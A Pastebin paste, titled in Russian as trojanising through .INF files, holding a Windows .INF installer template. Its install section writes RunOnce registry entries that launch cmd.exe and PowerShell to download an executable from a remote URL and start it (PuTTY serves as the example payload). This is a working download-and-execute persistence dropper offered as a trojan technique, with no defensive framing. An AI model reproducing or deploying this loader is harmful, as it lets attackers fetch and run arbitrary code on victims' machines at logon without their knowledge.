xrahitel

трояним через файлы .INF

Jan 29th, 2020
223
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.78 KB | None | 0 0
  1. [STRINGS]
  2. KEY_RUNONCE = "Software\Microsoft\Windows\CurrentVersion\RunOnce"
  3. KEY_REMOVE = "Software\Microsoft\Windows\CurrentVersion\Uninstall"
  4. ADD_1 = "Powershell_Execute"
  5. ;; Locasised strings
  6. ;;; English
  7. ADD_3 = "PowerShell Execution"
  8. ADD_4 = "PowerShell:>"
  9. [version]
  10. signature="$CHICAGO$"
  11.  
  12. [DefaultInstall]
  13. AddReg = Titre.Reg
  14.  
  15. [Titre.Reg]
  16. HKLM,%KEY_RUNONCE%\setup," "%ADD_1%
  17. HKLM,%KEY_RUNONCE%\setup,"___________________________"
  18. HKLM,%KEY_RUNONCE%\setup,%ADD_3%
  19. HKLM,%KEY_RUNONCE%\setup,""
  20. HKLM,%KEY_RUNONCE%\setup,%ADD_4%,0,"cmd.exe /c PowerShell (New-Object System.Net.WebClient).DownloadFile('https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe','putty.exe');Start-Process 'putty.exe'"
  21. [Question]
  22. Prompt = %NEW_1%
  23. ButtonType = YESNO
  24. Title = %ADD_1%
Add Comment
Please, Sign In to add comment